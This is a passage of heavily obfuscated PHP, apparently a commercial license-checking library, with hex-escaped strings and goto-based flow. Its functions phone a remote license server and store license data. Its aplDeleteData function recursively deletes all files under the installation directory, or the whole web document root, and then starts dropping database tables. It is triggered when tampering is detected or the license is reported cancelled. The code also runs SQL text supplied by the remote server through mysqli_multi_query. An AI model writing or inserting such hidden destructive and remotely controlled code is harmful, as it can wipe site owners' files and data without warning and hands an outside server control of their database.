		 if (!($content_array["\142\157\144\171"] != "\74\143\x6f\x6e\156\145\143\164\151\157\x6e\x5f\164\x65\x73\x74\x3e\117\x4b\x3c\57\143\157\156\x6e\145\x63\x74\x69\x6f\156\137\164\x65\163\164\76"))
			 { 
				goto j6vZI; 
			 }
			 $notifications_array["\x6e\x6f\x74\x69\x66\x69\143\x61\x74\151\x6f\156\x5f\x63\x61\x73\x65"] = "\156\157\164\151\146\151\143\x61\x74\151\x6f\x6e\x5f\x69\156\x76\141\x6c\x69\144\x5f\x72\145\x73\x70\157\x6e\163\x65"; 
			 $notifications_array["\156\x6f\x74\x69\x66\x69\x63\141\164\x69\x6f\x6e\137\x74\x65\170\x74"] = APL_NOTIFICATION_INVALID_RESPONSE; 
			 j6vZI:
			 coAYa:
			 return $notifications_array;
}
 function aplCheckData($MYSQLI_LINK = null) 
 {
		 $error_detected = 0;
		 $cracking_detected = 0; 
		 $data_check_result = false; 
		 extract(aplGetLicenseData($MYSQLI_LINK));
		 if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD))) 
		 {
			 goto txAvT; 
		 }
		 $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
		 $LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
		 if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) || !ctype_alnum(substr($ROOT_URL, -1)))) 
		 {
			 goto mCCbf;
		 }
		$error_detected = 1;
		mCCbf: 
		if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}\57", 1, 1, 0, 1)) === false)) 
		{
		 goto Ox4n1;
		}
		$error_detected = 1; Ox4n1: if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("\x73\150\141\62\x35\x36", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE))) 
		{
			goto mtVMK;
		}
		$error_detected = 1; 
		mtVMK: 
		if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL))))
		{ 
			goto QH6Kd;
		}
		$error_detected = 1;
		$cracking_detected = 1; 
		QH6Kd:
		if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "\131\105\x53"))
		{ 
			goto mEapT;
		}
		aplDeleteData($MYSQLI_LINK); mEapT: if (!($error_detected != 1 && $cracking_detected != 1))
		{ 
		goto yKLtG; 
		} 
		$data_check_result = true; 
		yKLtG: 
		txAvT: 
		return $data_check_result; 
} 

function aplVerifyEnvatoPurchase($LICENSE_CODE = null) 
{ 

	$notifications_array = array();
	$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\x70\x6c\x5f\x63\141\x6c\x6c\142\141\x63\153\x73\57\166\x65\162\x69\x66\x79\x5f\x65\x6e\166\x61\164\x6f\137\x70\x75\x72\143\x68\x61\163\x65\56\160\x68\160", APL_ROOT_URL, "\160\162\x6f\x64\x75\x63\164\137\x69\144\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\x6c\151\x63\145\x6e\x73\x65\x5f\x63\x6f\x64\145\75" . rawurlencode($LICENSE_CODE) . "\x26\143\x6f\x6e\x6e\145\x63\x74\x69\x6f\156\137\x68\x61\163\x68\x3d" . rawurlencode(hash("\x73\x68\x61\x32\x35\66", "\x76\145\162\151\146\x79\x5f\x65\x6e\x76\141\x74\157\137\160\165\x72\x63\x68\x61\163\x65"))); 
	if (!empty($content_array))
		{
			goto tmvDr; 
		} 
	$notifications_array["\156\x6f\x74\151\146\151\143\x61\x74\x69\157\156\x5f\x63\x61\x73\145"] = "\156\157\x74\151\146\x69\143\141\x74\x69\x6f\x6e\x5f\x6e\157\x5f\x63\157\156\156\x65\143\164\151\x6f\156"; 
	$notifications_array["\x6e\x6f\x74\151\146\151\143\x61\x74\151\x6f\x6e\x5f\164\x65\x78\164"] = APL_NOTIFICATION_NO_CONNECTION; 
	goto QUGJZ; 
	tmvDr:
	if (!($content_array["\x62\x6f\144\171"] != "\x3c\x76\x65\162\x69\x66\171\x5f\145\x6e\x76\141\x74\x6f\137\160\165\162\x63\x68\141\163\x65\76\x4f\113\74\x2f\166\145\x72\x69\x66\171\x5f\x65\156\x76\x61\x74\157\x5f\160\165\162\143\x68\141\163\x65\76"))
		{
			goto YVg8u; 
		}
	$notifications_array["\x6e\157\164\151\x66\x69\x63\x61\x74\x69\157\156\x5f\x63\141\163\x65"] = "\156\x6f\164\x69\146\151\x63\141\x74\151\157\x6e\x5f\x69\x6e\x76\x61\x6c\151\x64\137\162\145\163\x70\x6f\156\x73\x65"; 
	$notifications_array["\x6e\157\x74\151\x66\x69\143\x61\x74\x69\x6f\x6e\x5f\x74\145\170\164"] = APL_NOTIFICATION_INVALID_RESPONSE; 
	YVg8u:
	QUGJZ: 
	return $notifications_array; 
}
function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null)
 {
	 $notifications_array = array(); 
	 $apl_core_notifications = aplCheckSettings();
	 if (empty($apl_core_notifications)) 
	 { 
		goto ezOp1; 
	 } 
	 $notifications_array["\156\157\x74\x69\x66\x69\143\141\x74\151\157\x6e\x5f\x63\x61\163\x65"] = "\x6e\157\164\151\146\x69\143\141\x74\x69\157\x6e\x5f\163\143\162\x69\x70\164\x5f\143\x6f\162\162\x75\160\x74\145\144"; 
	 $notifications_array["\156\x6f\x74\151\x66\151\x63\x61\x74\151\x6f\x6e\137\164\x65\x78\164"] = implode("\73\x20", $apl_core_notifications);
	 goto go8oy;
	 ezOp1:
	 if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK)))
	 {
		 goto yhMbn; 
	 }
	 $INSTALLATION_HASH = hash("\163\x68\x61\x32\x35\66", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE); 
	 $post_info = "\x70\162\x6f\x64\165\x63\164\x5f\151\144\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\x6c\151\145\156\164\137\x65\x6d\141\151\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\46\154\x69\143\145\156\x73\x65\137\x63\x6f\x64\145\75" . rawurlencode($LICENSE_CODE) . "\46\162\x6f\x6f\164\137\165\162\154\75" . rawurlencode($ROOT_URL) . "\46\151\156\163\x74\x61\154\x6c\141\x74\x69\x6f\156\137\150\141\x73\x68\75" . rawurlencode($INSTALLATION_HASH) . "\x26\x6c\x69\x63\145\156\163\145\x5f\x73\x69\x67\156\x61\x74\165\x72\145\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
	 $content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\57\141\x70\x6c\137\143\141\154\154\x62\x61\143\153\163\57\154\151\143\145\156\163\145\137\151\x6e\x73\x74\x61\x6c\x6c\x2e\160\150\160", $ROOT_URL, $post_info); 
	 $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
	 if (!($notifications_array["\x6e\157\164\x69\x66\x69\x63\x61\164\151\x6f\x6e\137\x63\141\x73\145"] == "\x6e\x6f\x74\151\x66\151\143\x61\164\151\157\x6e\137\154\x69\x63\x65\x6e\x73\x65\137\x6f\x6b")) 
	 {
		 goto bxEog; 
	 }
	 $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\x59\55\155\55\x64"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); $LCD = aplCustomEncrypt(date("\x59\55\155\x2d\144", strtotime("\x2d" . APL_DAYS . "\x20\144\x61\171\x73")), APL_SALT . $INSTALLATION_KEY);
	 $LRD = aplCustomEncrypt(date("\x59\x2d\x6d\x2d\144"), APL_SALT . $INSTALLATION_KEY); 
	 if (!(APL_STORAGE == "\104\101\124\101\x42\101\x53\105"))
	 {
		 goto J0mRB; 
	 }
	 $content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\x70\x6c\137\x63\x61\x6c\x6c\x62\x61\143\x6b\x73\x2f\x6c\x69\x63\145\156\163\145\x5f\163\143\150\145\x6d\x65\56\x70\150\160", $ROOT_URL, $post_info); 
	 $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
	 if (!(!empty($notifications_array["\x6e\x6f\x74\x69\x66\151\143\141\x74\151\x6f\156\x5f\x64\x61\164\x61"]) && !empty($notifications_array["\x6e\157\x74\151\146\151\x63\x61\x74\151\x6f\156\137\144\x61\x74\x61"]["\x73\143\150\145\155\145\x5f\161\165\145\x72\x79"]))) 
	 {
		 goto ijPWC;
	 }
	 $mysql_bad_array = array("\x25\x41\x50\x4c\137\104\101\124\x41\x42\x41\x53\x45\137\124\x41\x42\x4c\x45\45", "\x25\x52\x4f\117\x54\137\x55\x52\x4c\x25", "\45\103\114\111\x45\x4e\124\137\x45\115\101\x49\x4c\45", "\x25\x4c\x49\103\105\x4e\123\x45\137\x43\117\x44\105\45", "\45\x4c\x43\104\45", "\x25\114\x52\104\x25", "\45\111\116\123\x54\101\x4c\x4c\101\124\x49\x4f\116\137\113\x45\x59\x25", "\45\x49\x4e\x53\124\x41\x4c\114\x41\124\111\x4f\x4e\x5f\x48\101\123\x48\45"); 
	 $mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH); 
	 $license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["\156\157\x74\x69\x66\151\143\141\x74\x69\157\156\137\x64\141\x74\x61"]["\163\x63\150\145\x6d\x65\x5f\161\165\x65\162\171"]);
	 mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK)); 
	 ijPWC: 
	 J0mRB:
	 if (!(APL_STORAGE == "\106\x49\114\x45")) 
	 {
		 goto YjDjf;
	 }
	 $handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\x77\53"); 
	 $fwrite = @fwrite($handle, "\74\122\x4f\117\124\137\x55\122\x4c\76{$ROOT_URL}\x3c\57\x52\x4f\117\x54\137\125\122\x4c\x3e\x3c\x43\x4c\111\105\x4e\124\x5f\x45\x4d\x41\x49\114\x3e{$CLIENT_EMAIL}\74\57\x43\x4c\111\x45\x4e\x54\x5f\105\x4d\101\x49\114\76\74\114\111\x43\105\116\x53\105\x5f\103\x4f\104\x45\76{$LICENSE_CODE}\x3c\x2f\x4c\111\x43\105\116\123\x45\x5f\103\117\x44\105\76\x3c\114\x43\x44\x3e{$LCD}\74\x2f\114\x43\x44\x3e\x3c\114\x52\104\x3e{$LRD}\74\x2f\x4c\122\x44\x3e\74\111\x4e\123\x54\101\114\x4c\101\x54\111\117\116\137\x4b\x45\x59\76{$INSTALLATION_KEY}\x3c\x2f\111\x4e\x53\x54\x41\x4c\114\101\124\x49\117\116\137\x4b\105\x59\x3e\74\111\x4e\x53\x54\x41\x4c\x4c\101\x54\111\x4f\x4e\137\x48\x41\x53\110\x3e{$INSTALLATION_HASH}\x3c\57\x49\x4e\123\x54\x41\x4c\x4c\101\x54\x49\x4f\x4e\137\110\101\x53\110\x3e"); 
	 if (!($fwrite === false)) 
	 {
		 goto j5jli; 
	 }
	 echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
	 exit;
	 j5jli: 
	 @fclose($handle); 
	 YjDjf:
	 bxEog: 
	 goto AMSMx;
	 yhMbn:
	 $notifications_array["\156\x6f\164\151\146\x69\x63\x61\164\151\x6f\156\x5f\143\141\x73\x65"] = "\156\x6f\164\151\x66\x69\x63\x61\x74\x69\157\156\137\141\154\x72\145\141\x64\171\x5f\151\156\163\x74\x61\154\154\145\x64"; 
	 $notifications_array["\x6e\157\164\151\146\151\143\x61\x74\151\157\156\x5f\164\x65\x78\x74"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED; 
	 AMSMx:
	 go8oy:
	 return $notifications_array;
	 }
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0) 
{
	$notifications_array = array();
	$update_lrd_value = 0;
	$update_lcd_value = 0; 
	$updated_records = 0;
	$apl_core_notifications = aplCheckSettings();
	if (empty($apl_core_notifications)) 
	{
		goto MGXq5;
	}
	$notifications_array["\x6e\157\164\x69\146\151\143\141\x74\x69\157\x6e\x5f\143\x61\x73\x65"] = "\x6e\x6f\164\151\x66\151\143\141\x74\x69\157\156\x5f\163\x63\162\x69\160\x74\x5f\x63\157\162\162\165\x70\x74\145\x64"; 
	$notifications_array["\x6e\x6f\164\151\146\x69\x63\x61\164\x69\157\x6e\137\164\x65\170\x74"] = implode("\73\x20", $apl_core_notifications);
	goto EyfI2;
	MGXq5: 
	if (aplCheckData($MYSQLI_LINK)) 
	{
		goto xEna5;
	}
	$notifications_array["\x6e\x6f\x74\x69\146\151\x63\141\164\151\157\156\137\x63\141\x73\145"] = "\156\157\164\151\x66\151\143\141\164\151\x6f\x6e\x5f\154\x69\x63\145\156\163\x65\137\143\157\162\x72\165\x70\164\145\x64"; 
	$notifications_array["\156\157\x74\x69\146\151\143\x61\x74\x69\x6f\x6e\137\x74\x65\170\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
	goto gw0RY;
	xEna5: 
	extract(aplGetLicenseData($MYSQLI_LINK));
	if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("\x59\x2d\x6d\x2d\144")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("\131\x2d\155\x2d\x64") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("\x59\55\155\55\144") && $FORCE_VERIFICATION == 0) 
	{
		goto BQ3t8;
	}
	$post_info = "\x70\x72\157\x64\x75\x63\164\x5f\x69\x64\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\154\x69\145\156\x74\x5f\145\x6d\141\x69\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\x26\154\x69\143\x65\156\163\x65\137\143\x6f\x64\x65\x3d" . rawurlencode($LICENSE_CODE) . "\x26\162\157\x6f\164\x5f\165\x72\x6c\75" . rawurlencode($ROOT_URL) . "\46\151\156\x73\164\141\x6c\x6c\x61\164\151\x6f\x6e\137\x68\x61\163\x68\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\x69\143\x65\x6e\163\x65\x5f\163\151\147\x6e\141\x74\165\x72\x65\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
	$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\x70\154\x5f\x63\x61\x6c\x6c\142\x61\x63\x6b\163\57\154\151\143\145\x6e\x73\145\x5f\166\x65\162\x69\x66\x79\56\x70\x68\160", $ROOT_URL, $post_info); 
	$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
	if (!($notifications_array["\x6e\157\164\x69\x66\151\x63\x61\x74\x69\157\156\137\x63\x61\163\x65"] == "\156\x6f\164\x69\146\151\x63\141\164\x69\157\x6e\x5f\154\x69\143\x65\156\163\145\137\x6f\153")) 
	{ 
		goto KCXic; 
	}
	$update_lcd_value = 1; 
	KCXic: 
	if (!($notifications_array["\x6e\157\164\151\x66\151\x63\x61\x74\x69\x6f\156\137\143\x61\163\x65"] == "\156\x6f\164\151\146\x69\x63\141\x74\x69\157\x6e\x5f\154\151\x63\145\x6e\x73\145\137\143\x61\156\x63\x65\154\x6c\145\x64" && APL_DELETE_CANCELLED == "\131\x45\123")) 
	{
		goto Rkqw4;
	}
	aplDeleteData($MYSQLI_LINK);
	Rkqw4:
	goto Pouqz; 
	BQ3t8:
	$notifications_array["\x6e\157\x74\x69\x66\x69\x63\141\x74\151\157\156\137\143\x61\163\x65"] = "\156\x6f\x74\x69\146\x69\x63\141\164\151\157\x6e\x5f\x6c\151\143\x65\156\x73\x65\137\157\153"; 
	$notifications_array["\x6e\x6f\x74\151\146\x69\143\x61\x74\x69\157\x6e\x5f\x74\x65\170\164"] = APL_NOTIFICATION_BYPASS_VERIFICATION; 
	Pouqz:
	if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("\131\55\x6d\55\x64"))) 
	{
		goto TnRCE;
	}
	$update_lrd_value = 1; 
	TnRCE:
	if (!($update_lrd_value == 1 || $update_lcd_value == 1)) 
	{
		goto SJAY0; 
	}
	if ($update_lcd_value == 1) 
	{
		goto D_jtc;
	}
	$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
	goto Bit0T;
	D_jtc: 
	$LCD = date("\x59\55\155\55\144");
	Bit0T:
	$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\x59\x2d\x6d\55\144"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
	$LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
	$LRD = aplCustomEncrypt(date("\131\x2d\x6d\x2d\x64"), APL_SALT . $INSTALLATION_KEY);
	if (!(APL_STORAGE == "\104\101\x54\101\102\101\x53\x45"))
		{
			goto jL9U1; 
		}
	$stmt = mysqli_prepare($MYSQLI_LINK, "\x55\120\104\x41\x54\105\x20" . APL_DATABASE_TABLE . "\40\x53\x45\124\40\114\x43\104\75\77\54\40\x4c\122\x44\x3d\x3f\54\40\111\116\123\x54\101\x4c\114\x41\124\111\x4f\x4e\x5f\113\105\131\75\77"); 
	if (!$stmt)
		{
			goto olOaP; 
		}
	mysqli_stmt_bind_param($stmt, "\163\x73\163", $LCD, $LRD, $INSTALLATION_KEY);
	$exec = mysqli_stmt_execute($stmt); $affected_rows = mysqli_stmt_affected_rows($stmt);
	if (!($affected_rows > 0))
		{
			goto p_n3l;
		}
	$updated_records = $updated_records + $affected_rows; 
	p_n3l:
	mysqli_stmt_close($stmt); 
	olOaP:
	if (!($updated_records < 1))
		{
		goto jwe1L;
		} 
	echo APL_NOTIFICATION_DATABASE_WRITE_ERROR; 
	exit; 
	jwe1L:
	jL9U1: 
	if (!(APL_STORAGE == "\106\111\114\x45"))
		{
			goto GH7Bv; 
		}
	$handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\167\x2b");
	$fwrite = @fwrite($handle, "\74\x52\117\x4f\124\137\125\122\114\76{$ROOT_URL}\x3c\x2f\x52\x4f\x4f\x54\137\125\122\x4c\76\x3c\x43\114\111\105\x4e\x54\x5f\105\115\x41\x49\114\x3e{$CLIENT_EMAIL}\74\x2f\x43\114\111\105\x4e\x54\x5f\105\x4d\x41\111\114\76\x3c\114\x49\x43\x45\116\x53\x45\x5f\x43\x4f\x44\x45\x3e{$LICENSE_CODE}\74\x2f\114\x49\x43\105\x4e\x53\x45\137\x43\117\x44\105\76\74\114\x43\x44\x3e{$LCD}\74\57\x4c\x43\104\x3e\74\x4c\x52\x44\76{$LRD}\x3c\x2f\114\122\x44\x3e\74\x49\116\x53\124\x41\x4c\114\x41\x54\x49\x4f\x4e\x5f\x4b\x45\x59\76{$INSTALLATION_KEY}\x3c\x2f\x49\x4e\x53\x54\101\x4c\x4c\101\x54\x49\117\x4e\x5f\113\x45\131\76\x3c\111\116\x53\x54\x41\x4c\x4c\x41\x54\x49\117\116\137\110\x41\123\110\76{$INSTALLATION_HASH}\x3c\57\111\116\x53\x54\101\x4c\114\x41\124\x49\117\116\x5f\110\x41\123\110\x3e"); 
	if (!($fwrite === false)) 
	{
		goto kkxiK;
	}
	echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR; 
	exit;
	kkxiK:
	@fclose($handle); 
	GH7Bv:
	SJAY0:
	gw0RY:
	EyfI2: 
	return $notifications_array; 
}
 function aplVerifySupport($MYSQLI_LINK = null) 
 {
	 $notifications_array = array();
	 $apl_core_notifications = aplCheckSettings(); 
	 if (empty($apl_core_notifications))
		 {
			 goto UQP1f;
		 }
		 $notifications_array["\156\x6f\164\x69\146\151\143\141\x74\151\x6f\x6e\137\x63\141\163\x65"] = "\x6e\157\164\151\x66\x69\143\x61\164\x69\157\156\137\x73\143\x72\x69\x70\x74\137\x63\157\x72\x72\165\160\164\x65\144";
		 $notifications_array["\x6e\x6f\x74\151\146\x69\x63\141\x74\151\157\156\137\164\x65\x78\x74"] = implode("\x3b\x20", $apl_core_notifications);
		 goto sRdO3;
		 UQP1f:
		 if (aplCheckData($MYSQLI_LINK))
			 { 
				goto xWq7M;
			}
		$notifications_array["\156\x6f\x74\151\x66\x69\x63\141\164\151\x6f\156\137\x63\141\x73\145"] = "\x6e\157\x74\x69\x66\x69\143\x61\164\151\x6f\156\x5f\154\x69\x63\145\156\163\x65\137\143\157\162\x72\x75\160\164\145\144"; 
		$notifications_array["\x6e\x6f\164\151\146\x69\143\x61\x74\151\x6f\156\137\x74\145\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
		goto PppAQ; 
		xWq7M:
		extract(aplGetLicenseData($MYSQLI_LINK)); 
		$post_info = "\160\x72\x6f\144\165\143\164\137\151\144\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\154\151\x65\x6e\164\x5f\145\x6d\141\x69\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\46\154\x69\x63\145\x6e\x73\x65\137\x63\x6f\x64\145\75" . rawurlencode($LICENSE_CODE) . "\46\x72\x6f\x6f\164\x5f\x75\162\x6c\x3d" . rawurlencode($ROOT_URL) . "\x26\x69\156\163\x74\x61\154\154\141\164\x69\x6f\156\137\150\141\163\150\75" . rawurlencode($INSTALLATION_HASH) . "\46\x6c\151\143\145\156\163\145\137\x73\151\147\156\x61\164\x75\162\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
		$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\160\x6c\137\x63\x61\154\x6c\x62\141\x63\x6b\163\57\x6c\151\143\145\x6e\163\x65\137\x73\165\160\x70\x6f\x72\164\x2e\x70\150\160", $ROOT_URL, $post_info);
		$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
		PppAQ:
		sRdO3:
		return $notifications_array; 
}
 function aplVerifyUpdates($MYSQLI_LINK = null)
 {
	 $notifications_array = array();
	 $apl_core_notifications = aplCheckSettings(); 
	 if (empty($apl_core_notifications)) 
	 {
		 goto pjSZP;
	 }
	 $notifications_array["\156\x6f\164\151\x66\x69\x63\141\164\151\x6f\156\137\x63\x61\x73\x65"] = "\156\157\164\x69\x66\x69\143\141\x74\x69\157\156\x5f\163\143\162\151\160\164\137\x63\x6f\162\162\165\160\x74\x65\144"; 
	 $notifications_array["\156\x6f\x74\x69\x66\151\x63\x61\164\151\157\156\137\164\x65\x78\164"] = implode("\73\40", $apl_core_notifications); 
	 goto IKxPK;
	 pjSZP: 
	 if (aplCheckData($MYSQLI_LINK)) 
	 { 
		goto gqRMZ; 
	 }
	 $notifications_array["\x6e\x6f\x74\151\x66\151\143\x61\x74\x69\157\x6e\137\x63\141\163\145"] = "\156\x6f\x74\151\x66\151\143\x61\x74\151\x6f\x6e\x5f\x6c\151\143\145\x6e\163\145\x5f\x63\157\162\x72\165\x70\x74\x65\x64";
	 $notifications_array["\156\x6f\164\151\146\151\x63\141\x74\x69\x6f\156\137\x74\145\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
	 goto gF6Zs;
	 gqRMZ:
	 extract(aplGetLicenseData($MYSQLI_LINK)); 
	 $post_info = "\x70\162\x6f\144\165\x63\164\137\x69\144\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\154\x69\x65\156\164\137\145\155\x61\151\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\154\x69\x63\x65\x6e\x73\x65\x5f\143\x6f\144\x65\x3d" . rawurlencode($LICENSE_CODE) . "\46\x72\157\x6f\164\137\x75\162\154\75" . rawurlencode($ROOT_URL) . "\x26\151\x6e\x73\x74\x61\154\x6c\141\164\x69\x6f\x6e\x5f\150\141\163\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\x69\x63\145\x6e\x73\145\137\163\151\147\x6e\141\x74\x75\162\145\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
	 $content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\160\x6c\x5f\x63\x61\154\154\x62\141\143\x6b\x73\x2f\x6c\x69\x63\x65\x6e\x73\145\137\165\160\x64\x61\164\x65\x73\56\160\150\x70", $ROOT_URL, $post_info); 
	 $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
	 gF6Zs:
	 IKxPK: 
	 return $notifications_array; 
}
function aplUninstallLicense($MYSQLI_LINK = null) 
{
	$notifications_array = array(); 
	$apl_core_notifications = aplCheckSettings(); 
	if (empty($apl_core_notifications)) 
	{
		goto tASuo; 
	} 
	$notifications_array["\156\x6f\x74\x69\x66\151\x63\141\164\x69\157\x6e\137\x63\141\163\145"] = "\156\x6f\x74\151\146\151\x63\x61\164\151\x6f\156\x5f\163\x63\x72\151\x70\x74\137\x63\x6f\162\x72\165\x70\164\145\144"; 
	$notifications_array["\x6e\x6f\164\x69\x66\151\143\x61\164\151\x6f\x6e\x5f\164\x65\170\164"] = implode("\73\x20", $apl_core_notifications);
	goto m4I_x;
	tASuo:
	if (aplCheckData($MYSQLI_LINK))
		{ 
			goto TSibm; 
		}
	$notifications_array["\x6e\x6f\x74\151\x66\x69\143\x61\164\x69\x6f\x6e\137\143\x61\163\x65"] = "\x6e\157\164\151\x66\151\x63\141\164\151\157\156\x5f\x6c\151\143\145\x6e\x73\x65\x5f\x63\157\x72\162\x75\x70\164\145\x64"; 
	$notifications_array["\156\157\164\x69\146\151\x63\x61\164\151\x6f\156\x5f\164\145\x78\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
	goto ChgQz; 
	TSibm: 
	extract(aplGetLicenseData($MYSQLI_LINK)); 
	$post_info = "\x70\x72\157\144\165\143\164\x5f\151\144\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\x6c\x69\x65\156\164\x5f\x65\x6d\141\151\154\75" . rawurlencode($CLIENT_EMAIL) . "\46\x6c\x69\143\145\156\163\x65\137\x63\x6f\144\x65\x3d" . rawurlencode($LICENSE_CODE) . "\46\162\x6f\157\164\137\x75\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\x69\156\x73\x74\141\154\154\x61\164\151\157\156\137\150\141\x73\x68\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\x6c\x69\143\145\x6e\163\145\x5f\x73\151\x67\x6e\141\164\x75\x72\145\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
	$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\57\x61\160\x6c\x5f\143\x61\x6c\154\142\x61\143\x6b\x73\x2f\154\x69\x63\145\156\163\145\137\x75\x6e\151\156\x73\164\141\154\154\x2e\160\x68\x70", $ROOT_URL, $post_info);
	$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
	if (!($notifications_array["\x6e\157\164\151\146\151\143\141\164\x69\x6f\156\137\x63\141\163\145"] == "\156\157\x74\x69\146\151\x63\x61\164\151\x6f\x6e\137\154\151\143\145\156\163\x65\137\x6f\x6b")) 
	{
		goto lu3tx;
	}
	if (!(APL_STORAGE == "\104\x41\x54\x41\x42\101\x53\105"))
	{
		goto cOnwt; 
	}
	mysqli_query($MYSQLI_LINK, "\104\105\x4c\105\x54\105\40\106\x52\x4f\x4d\40" . APL_DATABASE_TABLE); 
	mysqli_query($MYSQLI_LINK, "\x44\122\117\x50\40\124\x41\102\x4c\x45\x20" . APL_DATABASE_TABLE); 
	cOnwt:
	if (!(APL_STORAGE == "\106\x49\114\105"))
	{
		goto jCDHR;
	} 
	$handle = @fopen(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION, "\167\53"); @fclose($handle);
	jCDHR:
	lu3tx:
	ChgQz:
	m4I_x:
	return $notifications_array; 
}
function aplDeleteData($MYSQLI_LINK = null)
{ 
	if (APL_GOD_MODE == "\x59\105\x53" && isset($_SERVER["\x44\x4f\x43\125\115\105\116\x54\x5f\122\x4f\x4f\x54"])) 
	{ 
		goto bG0xX; 
	} 
	$root_directory = dirname(__DIR__); 
	goto iVoyk;
	bG0xX: 
	$root_directory = $_SERVER["\104\x4f\103\125\x4d\x45\x4e\124\137\x52\117\x4f\124"];
	iVoyk: 
	foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) 
	{ 
		$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
		z9gBT:
	}
	wjx2O: 
	rmdir($root_directory); 
	if (!(APL_STORAGE == "\x44\101\x54\101\102\x41\x53\x45"))
		{
			goto WRE7D;
		} 
	$database_tables_array = array(); 
